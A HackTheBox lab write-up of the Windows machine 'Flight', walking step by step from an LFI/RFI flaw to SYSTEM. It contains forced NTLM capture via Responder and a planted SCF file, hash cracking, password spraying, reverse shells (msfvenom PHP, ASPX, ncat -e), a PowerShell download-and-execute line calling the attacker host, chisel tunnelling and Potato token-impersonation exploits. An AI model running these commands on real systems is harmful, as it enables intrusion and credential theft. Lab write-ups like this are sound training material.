Flight - HackTheBox Writeup (10.10.11.187)

Posted on Sat, Aug 12, 2023 Hard Windows Web Application Forced Authentication Token Impersonation
Hard-difficulty Windows machine that covers forced NTLM authentication techniques through Remote File Inclusion and SCF file attacks. Lots of pivoting between service accounts and user accounts using web shells. Privilege escalation by abusing SeImpersonatePrivilege to perform token impersonation.

Preface

This was an incredibly challenging machine for me. Not only was the attack path extremely convoluted and more complicated than anything I had ever done, but there were quite a few techniques that I had not encountered before, namely the privilege escalation technique via SeImpersonatePrivilege.

Overall, this was a great learning experience. It made me really rethink the potential of forced NTLM authentication as a method of gaining initial access, especially if password policies are sloppy within an organisation.

Reconnaissance

We start by doing a port scan to see what services we can access.

$ nmap -p- 10.10.11.187 | tee ports-tcp.nmap

Nmap scan report for 10.10.11.187
Host is up (0.030s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
5985/tcp  open  wsman
9389/tcp  open  adws

Looks like lots of ports are open, let’s do a script and version scan to see what services are being hosted on these ports:

$ nmap -sC -sV -p 53,80,88,135,139,389,445,464,593,636,5985,9389 10.10.11.187 | tee targeted-tcp.nmap

Nmap scan report for 10.10.11.187
Host is up (0.031s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-01-21 20:11:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-01-21T20:11:15
|_  start_date: N/A
|_clock-skew: 6h59m58s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.09 seconds

Under the ldap entry, we see that our target is an Active Directory domain controller for the domain “flight.htb”. Let’s add the target IP and hostname to our hosts file:

$ sudo nano /etc/hosts

10.10.11.187    flight.htb

Enumeration

LDAP enumeration

Let’s begin by searching LDAP with simple authentication and see if we can obtain any information of interest:

$ ldapsearch -x -h flight.htb -s base namingcontexts

# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=flight,DC=htb
namingcontexts: CN=Configuration,DC=flight,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=flight,DC=htb
namingcontexts: DC=DomainDnsZones,DC=flight,DC=htb
namingcontexts: DC=ForestDnsZones,DC=flight,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

We get the domain naming context again, but we already have this information from the nmap scan. Let’s see if the server accepts anonymous bind with the query:

$ ldapsearch -x -h flight.htb -b "DC=flight,DC=htb"

# extended LDIF
#
# LDAPv3
# base <DC=flight,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

No dice, anonymous bind is disallowed so let’s come back when we have some credentials.

HTTP enumeration

We continue our enumeration by exploring port 80. Navigating to the site:

This site seems to be an air travel website with a flight planner app. However, none of the buttons seem to do anything so let’s move on and try to enumerate for subdomains:

$ gobuster vhost -w ~/Desktop/HTB/Common/subdomains-top1million-110000.txt -u flight.htb

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://flight.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /home/kali/Desktop/HTB/Common/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2023/01/21 23:47:10 Starting gobuster in VHOST enumeration mode
===============================================================
Found: school.flight.htb (Status: 200) [Size: 3996]

There is a hidden subdomain by the name school.flight.htb, let’s add this to the line we made in our hosts file earlier. Navigating to the new subdomain:

It seems like our target also has a website for its aviation school, let’s keep exploring further…

Exploitation

LFI vulnerability in “view” parameter

While checking out the different pages, we notice in the URL bar that the website uses the view GET parameter to specify the page it’s displaying:

http://school.flight.htb/index.php?view=about.html

This is a somewhat peculiar way of displaying pages, and led me to think there could potentially be some form of a local file inclusion (LFI) vulnerability within that parameter. Let’s try to verify this by putting in some directory traversal characters, and since this is a Windows box, let’s see if we can reach its hosts file at C:/Windows/System32/drivers/etc/hosts:

http://school.flight.htb/index.php?view=../../../../../../../Windows/System32/drivers/etc/hosts

Huh, looks like we hit some kind of a blacklist, let’s try to bypass it with some basic URL encoding:

http://school.flight.htb/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows/System32/drivers/etc/hosts

It’s still blocking our request, how about if we try with absolute paths instead?

http://school.flight.htb/index.php?view=C:/Windows/System32/drivers/etc/hosts

Worked like a charm! Looks like it was detecting the ../ characters and blocking the request accordingly, but it seems like we didn’t need them anyway. We can now see the contents of the hosts file. Using this technique, we can fuzz for files on the system with a wordlist:

$ wfuzz -f ./fuzz-output.csv,csv -c -w ../Common/file_inclusion_windows.txt --hw 89,95 http://school.flight.htb/index.php?view=FUZZ

After digging through the results for hours, we were unable to find any useful files.

Abusing RFI to force authentication

It then occurred to me that this is not only a local file inclusion vulnerability, but also a remote one (RFI) too. If the site is able to resolve remote addresses, we could also try to capture the NTLM hash of the account running the web server by making it authenticate against our SMB share. We can do this by setting up responder:

$ sudo responder -I tun0

Then, we trigger the forced NTLM authentication by navigating to:

http://school.flight.htb/index.php?view=//10.10.14.47/share

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:cb2f5e5efd7e920b:BCE6AE9F4AD11DE7BC8DE3603EF2FDA9:010100000000000080BB6CFE073FD9010F1732745B23B572000000000200080035004E004900440001001E00570049004E002D004100590037004400310054005300500038004F004A0004003400570049004E002D004100590037004400310054005300500038004F004A002E0035004E00490044002E004C004F00430041004C000300140035004E00490044002E004C004F00430041004C000500140035004E00490044002E004C004F00430041004C000700080080BB6CFE073FD901060004000200000008003000300000000000000000000000003000007B33338D204100C112F4C6A36B0E281D5DE757828F78B95F49DA870D676064560A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310035000000000000000000

Bingo! We’ve received the hash for a svc_apache service account. Normally, service accounts have secure passwords that should be near-impossible to crack, but let’s copy it to a file and try to crack it anyway:

$ cat svc_apache.hash

svc_apache::flight:aaaaaaaaaaaaaaaa:11ad222990af24ab957608f38c26ecf1:01010000000000000090e8dda52dd90158e9f2a689392db30000000001001000740068004c006a0079004b004d00450003001000740068004c006a0079004b004d0045000200100054004a00620042004e006e00690045000400100054004a00620042004e006e0069004500070008000090e8dda52dd9010600040002000000080030003000000000000000000000000030000090bd851c7abaf60cd04a44fdfaddfb42787487148e450d50537f135845ef040b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310032000000000000000000

Cracking svc_apache’s hash and checking new access

Using the standard rockyou.txt wordlist, we try to crack the password with hashcat:

$ hashcat -m 5600 ./svc_apache.hash ../../rockyou.txt -o svc_apache.txt

hashcat (v6.1.1) starting...

SVC_APACHE::flight:aaaaaaaaaaaaaaaa:11ad222990af24ab957608f38c26ecf1:01010000000000000090e8dda52dd90158e9f2a689392db30000000001001000740068004c006a0079004b004d00450003001000740068004c006a0079004b004d0045000200100054004a00620042004e006e00690045000400100054004a00620042004e006e0069004500070008000090e8dda52dd9010600040002000000080030003000000000000000000000000030000090bd851c7abaf60cd04a44fdfaddfb42787487148e450d50537f135845ef040b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310032000000000000000000:S@Ss!K@*t13

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: SVC_APACHE::flight:aaaaaaaaaaaaaaaa:11ad222990af24a...000000
Time.Started.....: Sun Feb 12 17:34:32 2023 (6 secs)
Time.Estimated...: Sun Feb 12 17:34:38 2023 (0 secs)
Guess.Base.......: File (../../rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1831.6 kH/s (1.46ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10665984/14344385 (74.36%)
Rejected.........: 0/10665984 (0.00%)
Restore.Point....: 10661888/14344385 (74.33%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: SAESH21 -> Ryanpetter

Surprisingly, it was able to crack the password! We now have the credentials svc_apache:S@Ss!K@*t13. Let’s go back to ldapsearch and see if we can uncover anything new:

$ ldapsearch -x -h 10.10.11.187 -D '[email protected]' -w 'S@Ss!K@*t13' -b "DC=flight,DC=htb"

Unfortunately, this was a dead end and nothing of interest was found. Let’s see what services we can access with crackmapexec:

$ crackmapexec winrm 10.10.11.187 -u 'svc_apache' -p 'S@Ss!K@*t13'

SMB         10.10.11.187    5985   G0       [*] Windows 10.0 Build 17763 (name:G0) (domain:flight.htb)
HTTP        10.10.11.187    5985   G0       [*] http://10.10.11.187:5985/wsman
WINRM       10.10.11.187    5985   G0       [-] flight.htb\svc_apache:S@Ss!K@*t13

Looks like WinRM login may be disabled, which is not uncommon for service accounts. How about SMB?

$ crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13'

SMB         10.10.11.187    445    G0       [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0       [+] flight.htb\svc_apache:S@Ss!K@*t13

Nice! We can authenticate as svc_apache on SMB, let’s try to enumerate for more information such as users and shares:

$ crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --users

SMB         10.10.11.187    445    G0       [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0       [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0       [-] Error enumerating domain users using dc ip 10.10.11.187: unsupported hash type MD4
SMB         10.10.11.187    445    G0       [*] Trying with SAMRPC protocol
SMB         10.10.11.187    445    G0       [+] Enumerated domain user(s)
SMB         10.10.11.187    445    G0       flight.htb\Administrator                  Built-in account for administering the computer/domain
SMB         10.10.11.187    445    G0       flight.htb\Guest                          Built-in account for guest access to the computer/domain
SMB         10.10.11.187    445    G0       flight.htb\krbtgt                         Key Distribution Center Service Account
SMB         10.10.11.187    445    G0       flight.htb\S.Moon                         Junion Web Developer
SMB         10.10.11.187    445    G0       flight.htb\R.Cold                         HR Assistant
SMB         10.10.11.187    445    G0       flight.htb\G.Lors                         Sales manager
SMB         10.10.11.187    445    G0       flight.htb\L.Kein                         Penetration tester
SMB         10.10.11.187    445    G0       flight.htb\M.Gold                         Sysadmin
SMB         10.10.11.187    445    G0       flight.htb\C.Bum                          Senior Web Developer
SMB         10.10.11.187    445    G0       flight.htb\W.Walker                       Payroll officer
SMB         10.10.11.187    445    G0       flight.htb\I.Francis                      Nobody knows why he's here
SMB         10.10.11.187    445    G0       flight.htb\D.Truff                        Project Manager
SMB         10.10.11.187    445    G0       flight.htb\V.Stevens                      Secretary
SMB         10.10.11.187    445    G0       flight.htb\svc_apache                     Service Apache web
SMB         10.10.11.187    445    G0       flight.htb\O.Possum                       Helpdesk

We’ll save these usernames into a users.txt file, as they might come in handy later. In addition, we can also enumerate for shares accessible by svc_apache:

$ crackmapexec smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares

SMB         10.10.11.187    445    G0       [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0       [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0       [+] Enumerated shares
SMB         10.10.11.187    445    G0       Share           Permissions     Remark
SMB         10.10.11.187    445    G0       -----           -----------     ------
SMB         10.10.11.187    445    G0       ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0       C$                              Default share
SMB         10.10.11.187    445    G0       IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0       NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0       Shared          READ            
SMB         10.10.11.187    445    G0       SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0       Users           READ            
SMB         10.10.11.187    445    G0       Web             READ

We are able to access a few shares, Shared, Users and Web being the non-standard shares. However, there weren’t any useful files and we only have read permissions.

Discovering password reuse with S.Moon

After many hours of digging, I tried checking if there was any password reuse by checking svc_apache's password against the other users:

$ crackmapexec smb 10.10.11.187 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success

SMB         10.10.11.187    445    G0       [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0       [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0       [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0       [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0       [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE

To my shock, the S.Moon user actually shares the same password as the svc_apache service account! It is at this point that I thought to myself, “Why didn’t I think of trying this earlier! It could have saved me so much time!”, but hindsight is always 20/20.

Using the S.Moon credentials, we find the Shared share is now writable:

$ crackmapexec smb 10.10.11.187 -u 'S.Moon' -p 'S@Ss!K@*t13' --shares

SMB         10.10.11.187    445    G0       [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0       [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0       [+] Enumerated shares
SMB         10.10.11.187    445    G0       Share           Permissions     Remark
SMB         10.10.11.187    445    G0       -----           -----------     ------
SMB         10.10.11.187    445    G0       ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0       C$                              Default share
SMB         10.10.11.187    445    G0       IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0       NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0       Shared          READ,WRITE      
SMB         10.10.11.187    445    G0       SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0       Users           READ            
SMB         10.10.11.187    445    G0       Web             READ

SCF file attack to gather hashes

Assuming that the Shared share is frequently visited by users, we use an SCF file attack to try and capture one of the users’ NTLM hash. We can do this by creating the following file:

[Shell]
Command=2
IconFile=\\10.10.14.15\share\hello.ico
[Taskbar]
Command=ToggleDesktop

The IconFile attribute is set to a non-existent share on our address. When a user’s desktop loads this file, it will try to look for the icon on our SMB share, thus authenticating and sending us the NTLM hash in the process. We save the file as an .ini file (e.g. desktop.ini), then upload the file to the writable Shared share after mounting it locally.

Once again, we set up responder to capture the hash:

$ sudo responder -I tun0

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:161e34a8843e502b:1BFD3E148E1D25D6CAD923642D7BB8F9:0101000000000000801C228D8A3FD901EDDF1F50DA332A590000000002000800370049003400430001001E00570049004E002D004300530033004400560039004300370030004700380004003400570049004E002D00430053003300440056003900430037003000470038002E0037004900340043002E004C004F00430041004C000300140037004900340043002E004C004F00430041004C000500140037004900340043002E004C004F00430041004C0007000800801C228D8A3FD901060004000200000008003000300000000000000000000000003000007B33338D204100C112F4C6A36B0E281D5DE757828F78B95F49DA870D676064560A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310035000000000000000000

After a short wait, we see that a user by the name C.Bum has triggered the remote query. Using the process detailed above, we crack the hash using hashcat and we get the credentials: C.Bum:Tikkycoll_431012284

We can get the user flag by going to Users share and reading from C.Bum’s desktop.

Privilege Escalation

Gaining execution as C.Bum

Checking for what new privileges we have gained, we see that C.Bum can write on the Web share which contains the files hosted on the website:

$ crackmapexec smb 10.10.11.187 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares

SMB         10.10.11.187    445    G0       Share           Permissions     Remark
SMB         10.10.11.187    445    G0       -----           -----------     ------
SMB         10.10.11.187    445    G0       ADMIN$                          Remote Admin
SMB         10.10.11.187    445    G0       C$                              Default share
SMB         10.10.11.187    445    G0       IPC$            READ            Remote IPC
SMB         10.10.11.187    445    G0       NETLOGON        READ            Logon server share 
SMB         10.10.11.187    445    G0       Shared          READ,WRITE      
SMB         10.10.11.187    445    G0       SYSVOL          READ            Logon server share 
SMB         10.10.11.187    445    G0       Users           READ            
SMB         10.10.11.187    445    G0       Web             READ,WRITE

This is great as we have all of the ingredients to gain command execution as C.Bum. We start by generating a PHP reverse shell using msfvenom and uploading it to the Web share.

$ msfvenom -p php/reverse_php LHOST=10.10.14.47 LPORT=6969 -f raw > rawr.php

Next, we set up a listener for an incoming connection:

$ nc -lvnp 6969

Then, we can trigger the reverse shell by navigating to where we have uploaded the file. This gives us a primitive shell as svc_apache.

$ curl http://10.10.11.187/rawr.php

Using conptyshell (), we can upgrade to an interactive shell as svc_apache, this will be useful for escalating to C.Bum:

$ stty raw -echo; (stty size; cat) | nc -lvnp 7777

> powershell.exe -c "IEX(IWR http://10.10.14.47:9090/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.47 7777"

Finally, we use RunasCs to get a shell as C.Bum:

$ nc -lvnp 4747

> .\RunasCs.exe C.Bum Tikkycoll_431012284 powershell.exe -r 10.10.14.47:4747

Discovering an internal site

We find the C:\inetpub directory containing a separate IIS site not in production. Looking through netstat, we also see that port 8000 is listening. This did not show up in our nmap scans before, suggesting it’s likely blocked by the firewall:

> netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             g0:0                   LISTENING 
  TCP    0.0.0.0:88             g0:0                   LISTENING
  TCP    0.0.0.0:135            g0:0                   LISTENING 
  TCP    0.0.0.0:389            g0:0                   LISTENING
  TCP    0.0.0.0:443            g0:0                   LISTENING 
  TCP    0.0.0.0:445            g0:0                   LISTENING 
  TCP    0.0.0.0:464            g0:0                   LISTENING
  TCP    0.0.0.0:593            g0:0                   LISTENING 
  TCP    0.0.0.0:636            g0:0                   LISTENING 
  TCP    0.0.0.0:3268           g0:0                   LISTENING
  TCP    0.0.0.0:3269           g0:0                   LISTENING 
  TCP    0.0.0.0:5985           g0:0                   LISTENING 
  TCP    0.0.0.0:8000           g0:0                   LISTENING
  TCP    0.0.0.0:8080           g0:0                   LISTENING 
  TCP    0.0.0.0:9389           g0:0                   LISTENING 
  ...

Since port 8000 is closed by the firewall, we cannot access this site externally. We will need to forward port 8000 to our local machine through a reverse tunnel. We set up a listener on our end:

$ ./chisel server -p 9001 --reverse

Then, on the victim, we forward port 8000 back to ourselves at port 9001:

> .\chisel.exe client 10.10.14.47:9001 R:8000:127.0.0.1:8000

We can now connect to the site on our browser via http://127.0.0.1:8000/

Gaining execution as DefaultAppPool

As the web developer, C.Bum can write to the C:\inetpub directory, so let’s upload an ASPX reverse shell:

> Invoke-WebRequest -Uri 'http://10.10.14.47:9090/reverse.aspx' -o 'C:\inetpub\development\reverse.aspx'

Start a listener at the designated port:

$ nc -lvnp 4242

After visiting http://127.0.0.1:8000/reverse.aspx, we get a shell as IIS AppPool\DefaultAppPool. Let’s see what privileges this account holds:

> whoami /all

USER INFORMATION
----------------

User Name                  SID                                                          
========================== =============================================================
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                        
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                   
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                          Alias            S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
                                           Unknown SID type S-1-5-82-0   Mandatory group, Enabled by default, Enabled group

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Privilege escalation by abusing SeImpersonatePrivilege

We see that IIS AppPool\DefaultAppPool has SeImpersonatePrivilege, this will allow us to escalate privileges to SYSTEM by using one of the “Potato” impersonation exploits, which leverages a privilege escalation chain as the following:

  1. We trick the NT AUTHORITY\SYSTEM account into authenticating via NTLM to a TCP endpoint we control.
  2. We intercept this authentication attempt via a man-in-the-middle listener (there are several COM servers that can do this, notably the BITS service).
  3. Using the intercepted authentication attempt, we locally negotiate a security token for the NT AUTHORITY\SYSTEM account using a series of Windows API calls.
  4. Leveraging the SeImpersonatePrivilege commonly found on service accounts, we impersonate this security token and gain command execution as NT AUTHORITY\SYSTEM.

We begin by uploading a ncat binary onto the host, this will make getting a shell easier later:

> Invoke-WebRequest -Uri 'http://10.10.14.47:9090/ncat.exe' -o 'ncat.exe'

Then, we start a listener on our machine:

$ nc -lvnp 4545

Using the JuicyPotatoNG exploit:

> .\JuicyPotatoNG.exe -t * -p "C:\Users\Public\Music\ncat.exe" -a "10.10.14.47 4545 -e powershell.exe"

We can also use SharpEfsPotato, this works as it also depends on SeImpersonatePrivilege:

> .\SharpEfsPotato.exe -p "C:\Users\Public\Music\ncat.exe" -a "10.10.14.47 4545 -e powershell.exe"

If the exploit was successful, we should get a reverse shell as NT AUTHORITY\SYSTEM:

> whoami

nt authority\system

And that’s it, we can get the root flag!

Resources

  1. SMB Share – SCF File Attacks - https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
  2. MSFVenom Reverse Shell Payload Cheatsheet - https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
  3. aspx-reverse-shell - ASPS Reverse Shell - https://github.com/borjmz/aspx-reverse-shell
  4. Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM - https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  5. Potatoes - Windows Privilege Escalation - https://jlajara.gitlab.io/Potatoes_Windows_Privesc
  6. JuicyPotatoNG - Another Windows Local Privilege Escalation from Service Account to System - https://github.com/antonioCoco/JuicyPotatoNG
  7. SharpEfsPotato - Local privilege escalation from SeImpersonatePrivilege using EfsRpc - https://github.com/bugch3ck/SharpEfsPotato